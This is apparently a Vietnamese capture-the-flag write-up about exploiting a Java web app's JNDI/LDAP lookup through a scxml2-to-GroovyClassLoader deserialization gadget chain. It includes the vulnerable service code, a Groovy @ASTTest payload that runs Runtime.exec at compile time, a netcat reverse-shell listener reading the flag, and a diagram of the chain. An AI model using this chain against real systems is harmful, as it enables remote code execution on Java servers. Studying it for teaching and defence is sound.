Phát hiện web có dùng JNDI Service với LDAP và com.sun.jndi.ldap.object.trustSerialData đã được bật lại,điều này cho phép LDAP có khả năng load được class động.
context = newInitialContext(); logger.info("JNDI service initialized successfully with in-memory and LDAP support"); } catch (NamingException e) { logger.error("Failed to initialize JNDI context", e); thrownewRuntimeException("Failed to initialize JNDI context", e); } }
public Object lookup(String path)throws NamingException { if (context == null) { thrownewNamingException("JNDI context is not initialized"); } logger.info("Looking up JNDI resource at path: {}", path); return context.lookup(path); }
publicvoidbind(String path, Object obj)throws NamingException { if (context == null) { thrownewNamingException("JNDI context is not initialized"); } logger.info("Binding object to JNDI resource at path: {}", path); context.bind(path, obj); } }
Đến đây là tắc,ysoserial không có,buộc phải mò tay,sau gần 1 tháng không tìm được gadget,khầy Nam nhả cái writeup ra thì có gadget của scxml2 ( Link ) với sink groovy.lang.GroovyClassLoader.parseClass()
Exploit
Tiếp theo có thể tạo gadget payload rồi dựng LDAP server bằng marshalsec trả về object serialized hoặc dùng luôn code exploit có sẵn :
> nc -nvlp 9003 listening on [any] 9003 ... connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 49304 cat /flag.txt BKSEC{Fake_Flag}
Flag: BKSEC{Fake_Flag}
Bonus
Groovy là gì?
Groovy là một ngôn ngữ scripting động chạy trên nền JVM, tương tự như Python hoặc Ruby, nhưng cú pháp gần giống Java. Nó có thể:
Chạy trên JVM
Biên dịch script ngay tại thời điểm chạy (runtime)
Tương tác liền mạch với các class Java
Hỗ trợ các kỹ thuật meta-programming nâng cao như AST transform (rất quan trọng trong khai thác này)
Được sử dụng trong Jenkins, Gradle, và nhiều ứng dụng doanh nghiệp để thực thi plugin/script.
@ASTTest là gì?
@groovy.transform.ASTTest là một annotation trong Groovy thực thi ở thời điểm biên dịch. Nó cho phép chèn mã tuỳ ý vào quá trình biên dịch, cụ thể là trong giai đoạn AST transformation.
Nguy hiểm vì Groovy sẽ thực thi nội dung bên trong khối value={...} trong quá trình biên dịch!
1 2 3 4
@groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("calc") // ← EXECUTES at compile time! }) def x
Dòng assert trên không phải là kiểm tra lúc chạy, mà sẽ thực thi ngay khi GroovyShell biên dịch đoạn script.
GroovyClassLoader là gì?
GroovyClassLoader là một classloader đặc biệt do Groovy cung cấp, cho phép biên dịch và load các Groovy script động.
1 2
GroovyClassLoader loader = new GroovyClassLoader(); Class script = loader.parseClass(new File("myscript.groovy"));
Danger Nếu truyền một script bị kiểm soát bởi attacker vào GroovyClassLoader và không có ràng buộc bảo mật (như SecurityManager hoặc sandbox), thì có thể dẫn tới RCE.
SecurityManager
SecurityManager trong Java giới hạn những gì một đoạn code có thể thực hiện, ví dụ như chặn Runtime.exec(). Tuy nhiên:
Nó đã bị deprecate từ Java 17
Xoá hoàn toàn trong Java 21+
Không được kích hoạt mặc định trong hầu hết ứng dụng trừ khi cấu hình rõ ràng
Vì vậy, nếu không có SecurityManager hoặc cấu hình yếu, các script Groovy có thể thoải mái chạy lệnh hệ thống.
Demo of secure vs. vulnerable config Insecure demo (no sandbox):
Ví dụ: Khi gọi Runtime.getRuntime().exec("calc");, nội bộ JVM sẽ gọi tiếp SecurityManager.checkExec("calc"); Nếu ứng dụng đã cài đặt một SecurityManager tùy chỉnh, phương thức checkExec() sẽ được gọi trước khi lệnh thực sự được thực thi, cho phép ngăn chặn RCE.
[ Attacker-controlled code ] | | 1. Khởi tạo đối tượng GroovyExtendableScriptCache v +-----------------------------------------------------+ | GroovyExtendableScriptCache ges | +-----------------------------------------------------+ | | 2. Gọi ges.getScript(payload) để cache script độc hại v +-----------------------------------------------------+ | Payload script nhúng ASTTest: | | @ASTTest(value={ | | assert Runtime.getRuntime().exec("cmd") | | }) | | def x | +-----------------------------------------------------+ | | 3. Gọi objStream.writeObject(ges) để serialize v +------------------------------------------------------+ | ObjectOutputStream ghi toàn bộ đối tượng `ges` | | → Bao gồm scriptCache chứa payload | +------------------------------------------------------+ | | 4. Trả về payload dạng byte[] v +------------------------------------------------------+ | return byteArrayOutputStream | +------------------------------------------------------+
[ Giai đoạn DESERIALIZE tại victim ] | | 5.Khi Victim gọi readObject(payload) | method readObject() của class GroovyExtendableScriptCache được gọi | v +------------------------------------------------------------+ | GroovyExtendableScriptCache.readObject(ObjectInputStream) | | → in.defaultReadObject() | | → ensureInitializedOrReloaded() | +------------------------------------------------------------+ | | 6. ensureInitializedOrReloaded() | - Recompile lại các script trong cache v +-----------------------------------------------------+ | GroovyShell.parse(malicious script) | | → Biên dịch lại script đã nhúng @ASTTest | | → THỰC THI : | | assert Runtime.getRuntime().exec("cmd") | +-----------------------------------------------------+ | v SYSTEM COMMAND EXECUTED
protectedvoidensureInitializedOrReloaded() { if (groovyClassLoader == null) { //Khi deserialize, các transient field như groovyClassLoader sẽ là null, nên sẽ khởi tạo lại ở đây. // Lấy cấu hình compile Groovy. Có thể include các transformer như AST, sandbox policy compilerConfiguration = newCompilerConfiguration (getCompilerConfigurationFactory().getCompilerConfiguration()); if (getScriptBaseClass() != null) { compilerConfiguration.setScriptBaseClass(getScriptBaseClass()); }
//Khởi tạo GroovyClassLoader mới, bypass sandbox nếu context thiếu security manager (đây là key để bypass trong môi trường Java cũ hoặc không sandboxed). groovyClassLoader = AccessController.doPrivileged((PrivilegedAction<GroovyClassLoader>) () -> newGroovyClassLoader(getParentClassLoaderFactory().getClassLoader(), compilerConfiguration)); if (!scriptCache.isEmpty()) { // de-serialized: need to re-generate all previously compiled scripts (this can cause a hick-up...): for (final ScriptCacheElement element : scriptCache.keySet()) {
//element.getScriptSource() trả về string script (ví dụ: @groovy.transform.ASTTest(...)) //compileScript(...) → GroovyShell.parse(...) → biên dịch lại //Groovy sẽ parse các annotation ASTTest, và assert ... sẽ được thực thi tại compile-time element.setScriptClass(compileScript(element.getBaseClass(), element.getScriptSource(), element.getScriptName())); } } } }